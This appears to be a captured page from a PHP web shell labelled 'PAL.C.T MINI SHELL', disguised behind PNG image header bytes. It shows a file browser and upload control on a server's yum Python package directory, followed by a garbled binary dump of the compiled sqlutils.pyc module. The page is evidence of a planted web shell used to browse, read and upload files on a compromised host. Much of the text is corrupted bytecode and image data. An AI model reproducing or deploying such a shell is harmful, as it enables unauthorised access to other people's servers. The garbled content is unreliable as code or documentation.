php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/sqlutils.pyc

[c@sdZyddkZWnej
oddkZnXdefdYZddddZd	Zdd
Z	ddZ
eidd
jo
e
Zne	ZdZ
dZdS(s
utility functions to handle differences in pysqlite versions
These are from Wichert Akkerman <wichert@deephackmode.org>'s python-dhm
http://www.wiggy.net/code/python-dhm
iNt
TokenizeErrorcBseZdZRS(sTokenizer error class(t__name__t
__module__t__doc__(((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pyRss 	
s"s\cCs|gddf\}}}}y?x8|o0|d|jo
d}n|djo|d|jo|d}n|d|joY|djo||d7}qM|i|d}x|d|jo|d}qWnr|d|jo7|djo|d}n||d7}|d}n*|djo|d}n||d7}|d}q$WWntj
otdnX|o
tdn|djo|i|n|S(sString tokenizer

    This function tokenizes a string while taking quotation and
    escaping into account.

      >>> import dhm.strtools
      >>> dhm.strtools.Tokenize("this is a test")
      ['this', 'is', 'a', 'test']
      >>> dhm.strtools.Tokenize("this "is a" test")
      ['this', 'is a', 'test']
      >>> dhm.strtools.Tokenize("this \"is\" a test")
      ['this', '"is"', 'a', 'test']
      >>> dhm.strtools.Tokenize("this "is a test")
      Traceback (most recent call last):
        File "<stdin>", line 1, in ?
        File "/usr/local/lib/python2.2/site-packages/dhm/strtools.py", line 80, in Tokenize
          raise TokenizeError, "Unexpected end of string in quoted text"
      dhm.strtools.TokenizeError: Unexecpted end of string in quoted text

    @param        str: string to tokenize
    @type         str: string
    @param whitespace: whitespace characters seperating tokens
    @type  whitespace: string
    @param     quotes: legal quoting characters
    @type      quotes: string
    @param    escapes: characters which can escape quoting characters
    @type     escapes: string
    @return: list of tokens
    @rtype:  sequence of strings
    iisUnexpected end of strings'Unexpected end of string in quoted textN(tNonetappendt
IndexErrorR(tstrt
whitespacetquotestescapestbufferttokenstcurtokentquote((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytTokenizes@






c	Cst|dd}g}d}x|D]}|ido'|i|d d||d7}q%|idp|ido;|d	 d|}||d7}|i||d7}q%|i|q%Wh}d}x&|D]}||d
|<|d7}qWdi||fS(sConvert from qmark to pyformat parameter style.

    The python DB-API 2.0 specifies four different possible parameter
    styles that can be used by drivers. This function converts from the
    qmark style to pyformat style.

    @param  query: SQL query to transform
    @type   query: string
    @param params: arguments to query
    @type  params: sequence of strings
    @return: converted query and parameters
    @rtype:  tuple with the new command and a dictionary of arguments
    R	t'it?is%%(param%d)ss?,s?)isparam%dt (RtendswithRtjoin(	tquerytparamsRtoutputtcountttokentntokentdicttparam((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytQmarkToPyformatgs* 
cCsL|djo|i|S|i}t||\}}|i||S(s
    Execute a python < 2.5 (external sqlite module) style query.

    @param cursor: A sqlite cursor
    @param query: The query to execute
    @param params: An optional list of parameters to the query
    N(RtexecutetstripR(tcursorRRtqtp((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytexecuteSQLPyFormats

cCs+|djo|i|S|i||S(s
    Execute a python 2.5 (sqlite3) style query.

    @param cursor: A sqlite cursor
    @param query: The query to execute
    @param params: An optional list of parameters to the query
    N(RR(R RR((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytexecuteSQLQmarks
iicCsjd}d|jp
d|jo@d}|idd}|idd}|idd}n||fS(	s< Apply SQLite escaping, if needed. Returns pattern and esc. tt_t%s ESCAPE "!"t!s!!s!%s!_(treplace(tpatterntesc((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytsql_escscCsvg}xi|D]a}d|jogSt|\}}|idd}|idd}|i||fq
W|S(sZ Converts patterns to SQL LIKE format, if required (or gives up if
        not possible). t[t*R'RR&(R,R)R(tpatternstretR*R+((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pytsql_esc_globs
(Rtsqlite3tsqlitetImportErrort	ExceptionRRRRR#R$tversion_infot
executeSQLR,R1(((s0/usr/lib/python2.6/site-packages/yum/sqlutils.pyt<module>sH	&

	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`